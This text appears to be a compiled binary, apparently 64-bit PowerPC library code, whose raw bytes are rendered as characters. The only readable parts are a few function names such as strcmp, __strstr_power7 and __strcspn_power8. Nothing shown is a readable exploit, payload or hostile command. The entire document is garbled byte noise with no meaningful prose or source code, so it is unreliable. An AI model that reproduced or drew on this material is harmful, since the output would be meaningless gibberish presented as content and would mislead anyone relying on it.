q(@KT~P@Aq(@K``B;q(/@K```B9 9@y)@;KT```B/A~xKH9 }]y)@x}=HPK ``B|8xxK/@|K`B|8xxK}/@P|K;/K`B}]SxKh``B`9@`;9- IK;|K``B#q)A /@0|!K!`8!p|N ``B8`N ```B||x!c8/A0?q)@$A(?Ii}IIN!A(9 x?88Kە`8!|N ```B|,%|x|#x|3x!q@8xK"A(||x8xxxK`/ A8!9 (0|?N ```B}$*;H@@}9JyJH9J}CRP@y $q} Rx$@`}$HP}J"{$ *@H@,H@ +@ /@`@A|Zp@|X*}JZX@Hh@@@@+~A+p#p(@ (aE }IQ*/|;x@``B89&H@@8!N ``BxK`B}JZaJI#`K```B| 8@988b8<8`HI`/At?p;{dQ?@`<x| PHJ`pH```B|x`8bT ;})/|"}> 8AX988b8<HI%`9 "/|xA(xi@8xxHI`/@x|8!xN ```B< @@;K```BxHI`K<HI `988b8<8`HH]`/@988b8<8`HH5`/|xA\xiA<;HH`x|K,`Bx<HHy`;x|Kx;|K`B|```9B9-88p9!͏x8`99*} `B))9)B`9J9BX<`9 8p`8F8`"Hx`<8p8E8`Hx`<8p8E8`Hx`<8p8EP8` Hx`<8p8E8`Hx}`<8p8Eh8`Hxe`<8p8E8` HxM`<8p8E8`Hx5`<8p8E8`Hx`<8p8F8`Hx`<8p8F(8` Hw`9 `"!xM})Ry9@@8!|N Hmu`#/M `"/A9 "N ``B8<`8G=®`9G=B`9JH8="0`9)HhB`"N `B|px!AaA!a!q`9Š:np||x~zx9:: :@8-!9 !!!!="9)0!="9)1`!="9)2x!:x~!H`9 9y) }@)}IPQ@ }-@L,/@;88Xx; ;`B& /A9@x$``B)9J/@8H}'Q9RJ((@9 }IQH@98`;a;;89`Ehh/hA((@A 888`8H``B}'Kx*H@|J@}#KxH@@}$KxJ9'(@@/hA:|3x9 8@@J@\A:`:::y)dH``````B I:)~B~R/@9@| } (}@-@/At!?b;{0})!!})!!})!!})!9 H`B; ~x:/A(+ AdxxH`+@0/@ zzxxx%x|ix}j[x~Rx~1ZH`AP<~x~ųx~x82xH`ax~}Hv`ZpAPK<x82|3xHa`.ax~J}JHve`N@!xAp``"B<x82H`8`!M})Ry9@@(8!px|!Aa!AaN ```Bh(KL`B(((9@Kl:::9@| } (}@-@/@-8Cx88/8A9 1| } &U)i)D|&KT<( x81 H`KCxHd-`KhHg1````B`"X`!q;{$9?@@$`|cHP9B*})}>9A$|p= A(8`Ii}IIN!A(=})||xH@A(= |~Ii}IIN!A(`"(/@A(`"8`Ii}IIN!A(,#ALQAD=P8`]c|HPp8!N p|8!8`N ```BK``BA(Ii}IIN!A(K,`B|`9B|+x|#x!E/@P<=B8&9J*`ap<<83848`K``9"piK'i`K`=B9J*`}FSxK```B`"```B/a!1|x;;Š@`"/A =(;~ 9)P@@` /A89|;xyJ } )}*HQ@ }-@L,/@`9 `;49M89jy) }@)}IPQ@ }-@L,/@/A;/A9);`"/AHI/@H@ApHA<$a)<$<9\8qH9@(<<\8A !H|R} 9 }@ة|*H@ }٭@L,P@@;|KCxHZ`KxHZ`K-Cx888/8A9 1| } &U)i)D|&KxHZu`K-x888/8A9 1| } &U)i)D|&K```B`"`!a;­/A``9M89 ;49y) }@)}IPQ@ }-@L,/@`.A^x/B@4/9 >A:/AH9):9@`| } (}@-@/AA\9 9y) }@)}IPQ@ }-@L,/@P;8Aax8!N Acxa8!xK<``B-8888/A9 1| } &U)i)D|&K`B|xHP`|K |`9"%/@d<=B8&9J*`="99)4x!p="9)@@<<84(848`K ``9"piK`K `=B9J*`}FSxK|xHO`|K-x888/8A9 1| } &U)i)D|&K(-8888/A9 1| } &U)i)D|&K$`B|`9"%/@4<=B8&9J*`="99)40!p="9)@0K`B=B9J*`}FSxK|xHN`|K`B|~y!AA|`;!Aa9 ;p9y) }@)}IPQ@ }-@L,/@8s@;^{{}JxyI$U>+AlqGA`88888xBx(A8+@DyJ/@x}FP|2}J3x}J89@`9)H `B/AL8H@A@}*HP}_H|JP@}FSx@/|0A~siA<9@`| } (}@-@/A >q*A`y)$9B|dP|"J|h#x9*})@9@$9=(`}@H(9J}@I-@;8}$`}@} J}@H(`!A|a8!N `B8xBx8A8xƸBxHA8xƨBxXA+A``B9@`;ZB/{HH9B]p@P@A^p/A*U)>9)@t9@`| } (}@-@/@-x888/8A9 1| } &U)i)D|&KHP@Ah}B^| } @|)P@ A@P@@8KT`B>| |@|'H@ A@8@|;xA(|;x@@H@Ap|#x@+@DqI@<`9-(|}x|+x/Ah`9>y)H@@P`|H@@@<+?A4y*$8}GR; @@|IH```B`"H@Aa;+@]y)$P@@`肭/@P-W>9@;]{ /y $}=JI@P@A|_/A /A*U)>9)@a!M})Ry9@@8!N ```BqI@\-A/@,;]`_@A؁=q)Al:aq*A+y;$@ =@@`肭/@ ?q)@?PJ_yI$}H*@@ (@'@+@H? /ApHA`{d[@A!Aa!`9"%/A |=B9J*`}FSx="99)6!p="9)@<83<8`84K``9"piK`K1```B|x K |KP`B|`: :WHPy $}IR8+>APq ; @ ?J98@Ax}&P})@A`=["@}*8P:Acx<HQ`?q)@\?P_yI$}H*@@?8@<8@0+ (@_ /@\}?}*9@|Y}YRPA`9"%/A=B9J*`}FSx="<9)79w!p="9)@84(K|88 H!` |K@|!Aa! "/A})4|{U)~i)/@X8$xH`:}Pa}9HP:KP@AI (_ *(_(* K98828$xH`/AlK="9)!P/ @$8:|`:]: >:?@|`;y8$[A+@Hq)A@I9@8@@A<}Q{od@YO9*}J})B})P8}@Ao@Ayx<}Or}[PPZHPaJ}:r<[\H@@<9y)$H@Ax}?HP2c~Azda)}Wx`?8y |!AaA8!!a} } N ```B`9"%/@<=B8&9J*`="9 a9)88!p="9)@<<83848`K``9"piK`KA```B``"BP@9=}}):};8@Al!AaAK``B=B9J*`}FSxK,;}{{8@@<|988"8dx8` H `/|ixA8ipj@`cg9I9H(8`} P(|:|Q-@9)80})H2P@(yJ |0)|8Q@ } 1-@L,/@9(8`H}]}@I@}8@H@P@@$} 8}*HQ@ `9@L,/@ |8!!a} } N .8@p@A`9"%/@<=B8&9J*`="9 d9)8!p="9)@K```B~#xKI|jyA*;;* {8+})29`|B<<`(9@FAa [}A*K06Vt9) qJ})A\:})}>8/x@lA(`"xIi}IIN!A(|syA`:@"(/@<`"/A`@"}>J"A`BqJ@D.8A@ADZP}:J6riA!)3J})J~HP~8/xA0A(`"xIi}IIN!A(|ry@@A(6 Ii}IIN!A(/`|rx"A4;;.8}YP`}J})aJ"XY`"A9X9yJ+aG}[R  @ldx8~xK66KP=B9J*`}FSxK|!AaA`9"%/A=B9J*`}FSx="9 *9)7!p="9)@K```B:HPޢ8/xA88?@@>x@A``""XKh``B|pP8|oHE`/@<`K``B}[9 8c};A*dx8xKI<<`K |8`K``B/@@x@988"8xH`/|ixA!AaAK|```B<=B8&9J*`Kh```Brj@/@A(6 8`~yxK,```B6tq)AhKp`9@ `8`9- IK8`B<<`K`B`bK `B/@,6c[K x~yxKL`"XK988"8x8`He`/|sxA`/"~Ca)"@K`9"%/A=B9J*`}FSx="9 [9)9X!p="9)@K`9"%/A=B9J*`}FSx="9 ;9)9H!p="9)@K`"(/@ 6KA(Ii}IIN!A(6K`BA(Ii}IIN!A(K~yxK<=B8&9J*`K,<=B8&9J*`KXJ9 x@AOx@ p`|8(`I A``8(/AX`8Šx8@@@>(`x$b|8|2@@ .H `B@ P@@`B`9"/@ 8!@}{xx} N `B{@A9 H@A/A `BW>y8 P@@+!a@l{t{т+9V0!Aa yN {B{{@9 +09)|8w9n9T[y& x y yI !}sx@ +}5Kx@+ }CxA`B>/Ah|xPKP|HL``B9 8y($;}B; /AM|:/@$OUJ>9JH@ `9-(I/A@`;"{@@(`}J"P@@(/A{$M/@+?A`9)9M(J|"@&@}*9)U)>}*`BP@@(/@K`B9)y) y($8}Bx$/@W <9)y) 9)y)$K`B}OSx}@8|*x@ |9@L,x@A/@K```B}ISx}@8|*H@ |9@L,H@A/@K```B{B94[y) !9 n!9 w!9 |!Aa !{т9V0!ayN x: :``;9-({/A`"})98=@aJ`A;B9:p;~`~>H:zh{$`8x|:8/+: .@@A(+@ ^P@A+y)$HA @AL@^xjA+AtU*>9*}JU)<})9)y)$|~J~H*8c}E.t9 xdUJ|*})P0/E`:}JKxE`hAA @A8/'|AxK(`B`9@ `99- }{xI8!@x} N |%a)%A(a)(9A}$`@A `"/@ 0}{x!a!Aa 8!@x} N `By*т+0A9J0}J8T<|8x$|~*|(*:(@AxcAq@da)H@@%(A (( (KD``B8/'|@+@4!})y)'H9)p}^H*}J9(H@A*@@ 95z'Hy'b9J`9U)yd}^R|@.9} H00@AH/A@}(08/@ y))9J@|A`9"P%/A =B9J*`}FSx="99):!p="9)@H``B|akjA`@}KSxx9k f@|9 K!a!Aa ```BP9|Ky*+AH9Jw}JKP``B<=B8&9J*`K```B|/PApxxKq+@<+0}sx@0!+@ + @+@`P9-(|Ky$@A}O8*|:8@@/x@dx@T+&@ /@h}_PP+AX;Zp$a)$A/a)/`9"/A`B|i)x}$}{xPH`K```By*t+@9@9J|}JK`B!aK||`9"P%/A=B9J*`}FSx="99):0!p="9)@K+?8T>@|!AaP!AaKXA%( |+x((((( pAK<=B8&9J*`K|x@@ 9|Hxyd9J|A.y)(x K<=B8&9J*`K<=B8&9J*`KK}'KxT029 9JyJ yJ$9J`}^RKp8K|<p(A>h+@9 (;Zp8A8caE}3x}O9*K`(H(/y*$@AxA8At|PPy $|H*0@,/x@x@+&@ /@(+A8}OR;Zp*a)*@K|<p(@9 (;Zp8A8c`}3x|Q*K0|y(y)}JxU>+A>y*$q)9*@9)H@@48`B}_HP+@9@@@A<}^I}*HPH@A}x|8!xN `B|I}'HPH@AK```B9*Kx``B>9y*$q)9*AXK`Bxx8!|N -x888/8A9 1| } &U)i)D|&KxH`K `9@ `;9- IK}+AqGA`88888xBx(A8+@yJ/@}FP|2}J3x}J89@9)}_HJ@@AT/A88@@(H```B/A|8H@Ap}*HP}_HJP@@}HSx}@HP``B8xBx8AX8xƸBxHAH8xƨBxXA8+A0``B;9@`| } (}@-@/A/A\!;>+pxx$:AT+ Al|; 9 9y) }@)}IPQ@ }-@L,/@?q)A($xxK-,#A;.8A9@`| } (}@-@/AA98y(y)}JxU>+@98y*$q)9*A9*9)H@@88``B}^HP+@9@@@A\}XI}*HPH@A}px!|Aa8!x} N {9@A9 H@A |K```B`pOAp*@qG@|JpAqJ@8\qG@|P@`Š8@Ax$8@9)}_HJ@@A\/A`B8H@A}*HP}_HJ@@A0/@Kx`BqG9@\K4|I}'HPH@AK```B`9Z"XPAHIqH@yH$+@qJAZtqJ@ZH})B}J:P@&x~ųxxxK|xx.8@;;.8})H;Kp`Š~0@A|J|*~0@AtK``B-x888/8A9 1| } &U)i)D|&K px!Aa8!`;`x9@ } 9- IN ```B8!|#x8} K```B96xH@.<@\`9Z"XPAHIqH@$yH$+@qJAZtqJ@ZH})B}J:P@~xxKؽ.#|xxAh8xHy`xKK|xH`|K-8x88/8A9 1| } &U)i)D|&KxHm`K4|;K|K|H@A|8 cx|K.#|}xA}#9C})HA9>A}#J^}:8!;Z} P+A Z} P=y9$q)(P@c)|:}DSx8cx'a)'=y)`}(CxKU@A;}=@Jx!A.=`B*q(@y)$9 @@@}+@9=y*$q)9*A9*9)H@@08}_HP+@9@@@A}]I}*HPH@A}ax8!} N ```B8!|#x8} K``B|9@`| } (}@-@/@-cx888/8A9 1| } &U)i)D|&@xa8!} N =c9;:.=!|} BAKL`9"%/@<=B8&9J*`="<9);+A+ A ;`9-(I/A`"@AH|-/@`x;xKϡ|}yA=q*@q)A9=y)d)A`9"%/@h<=B8&9J*`="9 9)<(!p="9)@PH``By)H@AH9@P@A<9)y?K```B|8!xN |`9-0)/@K`"@@`9-(I/A|`B{$}*J@/A+?A @}*9)}*Kh```BK]`"|/A$|A(xxIi}IIN!A(8!||}xxN 8!`;`x9@ 9- IN ;8!x|N ```B|`9"%/@T<=B8&9J*`="9 }9)5p!p="9)@H`B``9-8/A,9 9y) }@)}IPQ@ }-@L,/@xxK/|}xA(9@| } (}@-@.A8A=q*@q)Ad9=y)d)@A`9"%/AX=B9J*`}FSx="9 9)y:$q)HP@cI|<}DSx8cx'a)'>y)`}(CxKM@A;}>@Ax.>*q(@y)$9 @@A`BA>q*@q)A9>y)d)AA`9"%/A=B9J*`}FSx="9 9)cZ;\.>A} BK```B|``9-8/A9 9y) }@)}IPQ@ }-@L,/@xxxKI.#|~xA<9@| } (}@-@/AAp>q*@q)A9>y)d)H@AAa`9"%/A=B9J*`}FSx="9 9)=X!p="9)?```B<<83848`Km``9"piK9`Kp```B}=HP} a)}Cx(8cx*y)`}=xKEK@```B<=B8&9J*`K```B<=B8&9J*`KTK|}y@8| 8|cKexx|}xK/.#|~x@@;|K8-8x88/8A9 1| } &U)i)D|&K@``B`9@`;9- IK`B|KaKp`9"K```BxxKYxx|}xK/|~x.#@KAK``B<=B8&9J*`KxH`KL!`"0/MA9@@d/|xA<#;q*@L`9M(J/ADq*@ `;y=$}]@As@+@q*@`9M(/A0`9]yJ@@@`|P@@A`BP@Aa~;+@\y)$P@@`肭/@؁-W>9@;\{ /{$} @@<@@0+'@^ /@ @`B<`HA}:Z)q)@yI$}H*@@ @: @@@@+'@Z /@\\p9`*H@ x+^@9 > >(cp>*+@|</@D`;9=pHA<`{d>HAHAa`9"%/At=B9J*`}FSx="99)6!p="9)@<83<8`84Km``9"piK9`Ki```B|`K|@:`:HPx$}HR9*+>Ap;J@ ?ZJ9:@A|}'P})@A`=^"}J8P@\Ax<H `?q)@\?P?y*$}P*@@0_ @@8@+ H@? /@D}?}*9@[}[RPA|`9"%/AP=B9J*`}FSx="<9)79w!p="9)@84(KX```BxKbK``"XB)y)$P@@P|K||8xHR`|K,|Aa(I K`9"%/A=B9J*`}FSx="<9)709j!p="9)@84(K|Aa!AaHI`<=B8&9J*`K<=B8&9J*`Kp`bK9; cJH`_@x~x9'}HJyJ }*HP}(J/@8}CxK8`9"%/A=B9J*`}FSx="<9)7`9v!p="9)@84(KP@AI (^ *(^(* K|Aa;; q*y:$@(`9M(J/ADq*A{d*}Z@As@;+A+ A; q)AxxKwE,#A;c!A8!cx|aN `B/@8!xaK߰```B{@A9@P@@h`;`!A8!cx|`a9@ 9- IN -/@8xExx#xK5|{yA;q*@q)Ah9;y)d)H@A`9"%/@<=B8&9J*`="9 9)=!p="9)@<<83848`K]``9"piK)`KY```B8x0@A!A8!cxa|N K_-`"|/Ad|A(xxxIi}IIN!A(8!||{xcxaN ``B`;"KX`B`9"K`BxKݍ|{yA$8xHEY`xKsM!AK``B=B9J*`}FSxK||x;`KK``B`9M0J/@K->K9 9y) }@)}IPQ@ }-@L,/@4xExx#xK9@|{x| } (}@-@/A/Ax;q*@0q)AX9;y)d)H@A`9"%/A=B9J*`}FSx="9 9)=!p="9)@K`9"KxK!|{yA8xHC`x#x8K!AK-8#x88/8A9 1| } &U)i)D|&K#xH`K<=B8&9J*`K8y:$q)HP@cI|<}DSx8cx'a)'>y)`}(CxK~ @A;}>@|Ax.>```B*q(@y)$9 @@Ax`BA>q*@tq)Al9>y)d)AXA`9"%/@<=B8&9J*`="9 9)cZ;\.>A} BK```B|``9-8/A9 9y) }@)}IPQ@ }-@L,/@|xxxK.#|~xA 9@| } (}@-@/AxAl>q*@q)A9>y)d)H@AAa`9"%/A=B9J*`}FSx="9 9)=X!p="9)?```B<<83848`Ky=``9"piK `KL```B}=HP} a)}Cx(8cx*y)`}=xKzK````B<=B8&9J*`K```B=B9J*`}FSxK|Kc|}y@8| 8|cK\9xx|}xK/.#|~x@@;K`-8x88/8A9 1| } &U)i)D|&KP``B`9@K`Ba;K`9"KD``BxxKjYxx|}xK/|~x.#@KAK``B<=B8&9J*`KxH`K|}&`"||x/!QAt`"`/9Bj@+@ +A9 H@A; -/@;+@ {@A9 H@A!?@A|a`8 ;b|cxK.#|~xA}#9C})HA9?}#JA}<8;} P+A } P>y:$q)HP@cI|<}DSx8cx'a)'>y)`}(CxKw=@A;}>@Ax.>*q(@y)$9 @@A`BA>q*@q)A9>y)d)AA`9"%/A=B9J*`}FSx="9 9)cZ;\.>A} BK```B|``9-8/A9 9y) }@)}IPQ@ }-@L,/@xxxK).#|~xA<9@| } (}@-@/AAp>q*@q)A9>y)d)H@AAa`9"%/A=B9J*`}FSx="9 9)=X!p="9)?```B<<83848`KrM``9"piK}`KE```B}=HP} a)}Cx(8cx*y)`}=xKs%K0```B<=B8&9J*`K```B<=B8&9J*`KDK\|}y@8| 8|cKUExx|}xK/.#|~x@@;|K8-8x88/8A9 1| } &U)i)D|&K@``B`9@`;9- IK`B|KaKp`9"K```BxxKc9xx|}xK/|~x.#@KAK``B<=B8&9J*`KxH`KL}&`"/!AAH`9")y*9 !JB@}IP8Al`B/@,+@+A9 H@A@; -/@;+@{@A9 H@@`9@ `;9- I8!x} N ``B9@yJP@A!IP@A}*@9}?KxAd+ A\; ``B{@AK@8!x} K$aKHa|K`B; !?H@A |a`8 ;b|cxK.#|}xA}#9C})HA9?}#JA}>8;} P+A } P=y:$q)HP@cI|>}DSx8cx'a)'=y)`}(CxKo)@A;}=@Ax.=```B*q(@y)$9 @@AX`BA=q*@q)A9=y)d)AA`9"%/A<=B9J*`}FSx="9 9)(!p="9)?<<83848`Kg``9"piKr`K;=``B-/@Xa;8!x|N ``B9#y)d))@@8-/ @T`"/x$@9?H@A$8x+@T* A+9@___@+__ @_(_0@_8_@Kt``B`9"%/A=B9J*`}FSx="9 9)>!p="9)?K/A}>#At`9@ `;9- IKA(xIi}IIN!A(/Ax8H*q`||xK``B``9-8/A9 9y) }@)}IPQ@ }-@L,/@`}`9"H{$A{idI})R};HPH@@}0|c8H@A4}>"H@@}>P| P @A(@@Kd`B`9"%/@l<=B8&9J*`="99)>!p="9)?<<83848`Ka``9"piKl`K5!```B=B9J*`}FSxKzrB+@zi+ A9)n}2K|```B`9"%/@l<=B8&9J*`="99)>!p="9)?K@```B~d 889He`K``BK:AK``B=B9J*`}FSxK:R[~RK`BcxH-`Kzi+@ zit+@9 9)|}2K9)w}2K```BA{x| } ( -@/A|{p@8!xx!|Aa!AaN ~xKAQ|o{x}Kl-8cx88/8A|} &U)i)D|&KP``B,#A\!`#9C/U#y)$AH/A8i8!pN }JJJqJA8i8!pN `B8`N ``ByFyH|BxT>+Al|ct9)xcтxc$|i} 0@A@/AL88@@HK1``B|A!a`|zx"!!/MA9@A\;p9 9@|`\ |O;bx;;; 1`BxyJ } )}*HQ@ -@L,/@xxK/| } (-@/Ap@A!CxpxZ: !M})Ry9@@8!!Aa|N ```B-8x88/8A|} &U)i)D|&KD`BxH=`K K6KH9``B|Ax!Aa!a8!`"/MA9@`BA`;p`>B:">=:p>Yx; v~x;p:R? :?0:?Pb :`:;`;It91H```B; jxyJ } )}*HQ@ -@L,/@xxK-=}x~DxH]`p}~ijxHI`}~xH5`Ap!J){Z {9 | } (`-@/Ap@DA(@@ 9 -;#8cKaH1``9"`)q*A e)a)q)@$="8iMN q*Ae)q)A="8iMN u*@u*Ae)Ke) K}$P(@||x!qA+|x|#x@|}#y)`x/(PAt/DCA\/DCAL/DCA?A/>?A/>?A/>?A/>?A/>?A/>?A|/>?Al/ >?A\/ > ? AL/ > ? A ? A,/ > ? A+> ? A >?8!xN +**A/?>A/?>A/?>A/?>A/?>A/?>A|/?>Al/?>A\/ ?>AL/ ?>AA,/ ?>A/ ?>A +?>A?>K|{`/x(PAt/_^A\/_^AL/_^AAH#H@M /@(N ```B#~P@/M M 8cpi@TD.T>}$#x<~|=`x`ak|#xxykdekx9`ak|#x(8h|Jx| 2|2})8|"8});x})X9A(P@M /M #8 P@A/A#8 P@A/A#8 P@A|/At#8 P@Ad/A\#8 P@AL/AD#8P@A4/A,#9P@A$/A|hxK``B|;xN }CxN `||x|#x!qxK `x8xKa`8!|N ``|,|x|",yka<@=89xy|ZH @` }g*} (}kH9|0A} (8A8}kB|2y})XxAL}Jt})t9)|P|f(PA|cv`cN 8`N |2y|f(PA|cv`cN |v`cN ``BH@4,A |%0@,|%0@|f(PN |f(PN @ strcmp``|!q|,|",/AX/AP|}x|#x|#xH`/A$|x|dxxHu`AxH`|kx/@;xh +A|{ +Ap/A8|hxx8Wx$8/A|P6$!J@})T6|Kx|3xTjxc$| 3/@$| +})P6/@t99`H/A}LSx9!l@ 99k|`6|\6}*Sx| S/@4}I3/A9H@```B/Ayi})P}(Kx|;xW8/A(|P6| 3})T6/@$!J@})T6|Kx88c| +/@|`6|\6}*Sx| 3/@t| S/@}I3/@ K|`B9H``B}'t @|<6|<6}I3/9@d @x|c:|PHP```B}'t @}J<6|<6}I3/9@$ @yk|kPx|c:|PH`B}Cx;/@A䈞H}`/@|hxx8xx$8K|dxx8U*yHy)$/A$|P6!@!J@|T6|;x|3xTjxg${$!@|D6| +})P6/@/A}LSx9!l@H`B99`H99k|`6|\6}*Sx}JD6| S})@6/@}I3/A8d;/@AԈHm`/@|dxx8KD```B8Kh``Byi|iPH`B|hx99}Cxx/A4/AH(@@8c8/A K`B|PH<``BxH,``B8`H``BxH=``B8!|N @__strstr_power7```|a}&!A葁|#x!|+x|3x||x8888-!x9 }G2P@@0}:}>P}(@@@}FSx8|PP}G2P@A;@88;}G2P@@0}}>P}8@@@}FSx8]PP}G2P@A;8(@@ |#x|+x9@9!p}I```B B/A09_9`B(8y)$}'JI9JBx|xKA(/@pa:`~|||P8AKA(:@;?:~P/;"@p`B/Ah}<9A)y)$}*J)/A/A@@~x~sJ:@~x~|||P8K)A(/A8`Aa!xM})Ry9@@\8!|} !AaN AD|3x888K``BA|3x;@88K``B@~Ix@x@}SJ@P}\P}H@@9I|@}IP}I@ H``B}^H}H@@9)B@}3|J~x@@}P@9]x@}]P}I|@H`B}^H}H@@t9)B}4}\JAx}/UJ~.P8@/@D/@||#x|}x|3x8cK`|wyAP+A|}a@P:`A~wP+@xx~dxa~x|8!} K``B|wx8!~x} N ```B:a!Aa|8!~x} N ```B!8988}H:}>2P@@0|@}>P(@@}GSx9|PP}H:P@}>2A;98;}H:}>P@@0|@}>P(@@}GSx9PP}H:P@}>A;80@@ |#x|3xx|xK A(/@Aa::;]P;~#=~|w|P8K A(/@/A|@~x@xH@}I@H}P}^H@@}IP|}IH ```B}^H}H@@9)B@}6|JHx@\}WH}>ЮP@L}5P9)})H$`B}=8P}[@}&J)H@|;x8B:@@A~x~xK:KpA`|;x889K``BA`|;x;89K ``B~ٲ:~J~xK```B @9@}GSx9K``B@9@}GSx9K``Bx|KA:]@7~Ap!xAa]P@@x;~:=}P:;Zt~԰Pފ.1(x#```BH9(P@A/A,}(KxK0~|w8K|wxK``B:p!xAK |w|8KA(/@Lp!xAa~SxK ``B@HP;@LT8@}TP~x9J}IH ```BH8@|BB}<}JA}WH>P@4!8x})````BB@|H'PA/A~|w|P8KA(/@/A}<~x}7J}(KxKx~Fx/A2KxK~K~K:Aa!K' _ ! @ SW88889xB9`yk}`L`Z $()(i,@}jL6}ld6A(@|Px|`xK`B|Px}`xK`B|`x|g|g|g}gbYaZL|0W@Wk$xc LMLD\$F@,8c|8c LMLD$FA8c|`P|giJ8c}Jt|cRN @__strcspn_power8```|x!qD-!x9 /A$.At9 9x(!x((( (((0(8!!!8!!!!!!!!!!!! !(!0!@!H!P!X!`!h!p9 H D/}(Q@?8`}(H/@?8`}(H/@?8`}(H/@x?8`}(H/@d{d```B*|(|0}(H|8})3x|+x});xU)>/A/}_PP@X |fR`B!xM})Ry9@@D8!N |}DSxxKaA(||PK |eRK|H[e`|xd!KqA(8!p|N ```|,&!@ `8®8``9-H5`8!p|N ````(!/AP||ix9@I(I H`H`xKv`|8!N ``B|8|+x!a8x8-!9 He`/@Xxa+A8!M})Ry9@@88!|N ``BH`8`K8`KHY``B|Aa`"x|~x!A/|? xM_9@A`8b``>(/@8 8`KU`|}yA>4/@<88`8&} Cx8H``Bi)/9J!)|*/@}(PP})9)y)})|Ij(;p/A=Bx8'} Cxx`By)d8c}(H.#*/@+@9 ?b#;{UX8x8cx8xH`|zy@x+A,/}Ax8x8dx8HE`||y@x+A/}A="(9)N8> `B`"/A`8b``?M})Ry9@@08?Aa|N `B<88` 8AXKL```BHq`}/AHU`xKs`="9)A(>(KDH1`=]/A="(9)N8> K`B/9 /#@$/#8cAHKA(K<`B8cK0``BxK``B9 ==/@KP]K0HVA````B``!9-)|x>(/AtI *_/A*9)*_*/A*9)*8!N ```B="9)$HA$|xK>(|Kd="9)A(KX``B|a?|x;UX8x!A|#x8x8-!9 HE`|{y@xa+A/;AH8x8xx8H`|~y@xa+Ap/Al!M})Ry9@x@8!a|N H`;K```BHa`;HI`K```B9 ;?KhKHS``|Aa!=!y9@|#x|zx|+x-!9 ?(A/A=(/A -Jx/A/xd}:J:A!;;!;@,H ``B?/A| P|uAxKA(9#xJH|`A(x9@9 x8%xxx~| ^N!A(.A /@A@Al/}ZPP}Wt@}ZR*/@/AD!)/@X9@Ti})[:A/ApTc/@!M})Ry9@~x@8! !|AaN `BA\Ti})KxK`A99!;a:J8c!A;;!;``BxaH{9`A(9@9 x8x%xxx~| ^N!A(A/};PP})t~JATi})@́*:/A<<|cv`c?M})Ry9@@H8?P!Aa|N ``B?B;;ZBK$HMq````B!!-!9 9#G+ A|=B9Jy)}*J)})R})N <\|<|```B8`/HG=`|xi"``BA }JBy9}#Kx@ 8!N 8`/HF`|Ti>K`B8`(HF`||ixK`B8`)HF`|xi"K`B8`)HF`|Ti>Kh`B8`*HF}`||ixKH`B8`+HF]`|xi"K(`B8`+HF=`|Ti>K`B8`,HF`||ixK`B8`-HE`|xi"K`B8`-HE`|Ti>K`B8`.HE`||ixK`B/"|xAA`/A/@|H˅`Ax|ixẢJa/A+ A``B|+A="{9Ip}*)})R})N pL\||(p  Pp(D(0@4\4\4\9 K9 y)`K9 K9 K9 K9 K9 K|M`||ixKD|H `||ixK 9 K9 K9 y) K= K9 K9 K= K9 U) K|H3`||ixK|H;`||ixKp9 Kd9 KX|H`||ixK49 K(`9`9 9M K`BK``B|8x8` HA`/@!x|K```B|8x8`H`= /@0x9@yJ`P@@y |Kh`B|KTxH `aKT;!A@p!x;->:C(; ; >@.@@ @A,x<~xH`/|xxA|dx88`KM`/AAxH`/@L!xX!xH`-#|~xA ;`Bx<H)`,#A\#q)@#/.At/A @A;8x8x8`H`/A!U)&/@@!H@!H@t!pxHPK=`@|txA`@p@|vx@~xzcx~ijxKdA`|iyA8Ap||};Kx~׳x|(P|eP|iKA`ap!p~xx~x}4HP}#KxK`9@/xC9#!pXK `B9 1| } &U)i)K ``B/@d/APx;H`Kl``B#/AX#U)@xKD#AxK49 ;<xH` 0!8A@PX`p!x/A$;M AX(aHAK`B/AT``9- i/$A/"AAAK```BAxAKx`9@`;`9- IK\`BA 9- sxK```BcxKI`9- 8`K=y`|{yA`:`:K```B`|c`9- iK4``B(aHKp`BcxKIm`KA|AK`B@ ATcx;`KIA`AKA~cx;`KI%`(aHAKd```B9@;`(aHIAK<|dxcxKa=`,#At|{xAK9- K 9- P`K X9- xK` 0!8A@P`p!xK(aHAK9- AxH=`K9- AxH!`K`BAxH `/@97Ap};JHA!pcxP}$KxxK `AP/A~{x;M  0!8(A@aHP`p!xAKxcxK_`|sxK9 /*9*!pKh9- K (0!8A@aHPX`p!xAH*`<<}?H})I})U)>/Ah`9@ `;9- I8!xN `B;8!x|N ```B||H%`/A8!x|N `B}>})})I})U)>K@```!`9"i/A|c8!pN |<<~})^N!A(xK?`8!|N }xc@}/@}>A(})~^N!A(xK?u`Kt``B}xc@x}/@\}>A(})~^N!A(xK?%`K``BxKKp`BxKKT`BxKK`BKK```B|#y!1Ax|{!Aa|xxA?; y)|+x?::;@/AdA(xx<|})\N!A(|{yA=y)I/A yApApAa/  y yAypA~|xz(xA`/yD`xA|#x x} SxEVyJ}IKx6``B/A9?{AVx7xxyx}=KxK;`;@8`yxK0`x|uyAx@{~x9@9 U5A=y)I/aH yJAy/A y ypA||zxx(xfA`/x`xAhH|3x x}D#xZyJ}IKx:~x!A|a8!N ```B9?{@|8`x}=KxK/`|uy@!A|a8!:~xN ~x|!Aa8!N xx})Cx/6%a)%AD(y*y)}J+x%HK|Cxx|#xFK(a)%KH}#xx|SxHK xix})Cx/:&a)&A (y*y)}J3x&HK0(a)&K;xK ``B,$!q||x|+xA||x{xAP>A(})~^N!A(8,#/AT@8x{x@|8!;xN ```B8!x|N |a!A!1|#y!|? xM_x9@!A|vx{xyA||+x:p)x;;(A(~óx:z})ZN!A(||yA{$A/{w*xyAl9;;y/@; ?xM})Ry9@#x@8?|!AaN 9;;yy)AA(~óx:z})ZN!A(||y@8;y<\yHA,/A ;\{$H0z;w*;xc#y)Ap[x;C@;A~xx{ $;9)y)})}AIj8apKY`|wxzw*;xc#y)@{$}7J))y)IPA@IyJ}JxIHh``B;A~x%x{ $9)y)})}AIj8apK`|wxK `B}Cx/@y)x})x;@A #<#q)@/xA/A(q*@{$}7x}=Kxx@@A pxA@ajx|Sx*8|*y ; x/ApA/x@/@xx|#xx|Cxxx}D#x(IyJIK4`K``B/A|pApx/@4jxx}G;xxxx|Cx *K4Y`K````B`;}(Kx@P=xy)(K4`K ```BI qyATx|Sx; a  yy|Kx 8} Cx|*y/ApAi/yk@t/A `xxy};x|#xGGyJ}JKxGIyJIK3`K ```B/AhpA\iyk/@xy}HCxxxx|KxKa KP`B`KX`B`K`BxK``BxK`BK8a K\ pAKx```B/A8KpAKH` |~y!A/A|>x|#xy)AA(x88?})_N!A(~xc@A(x88?})_N!A(~/@hA(x88?})_N!A(x|8!N `B>/@LA(8$8K8xK 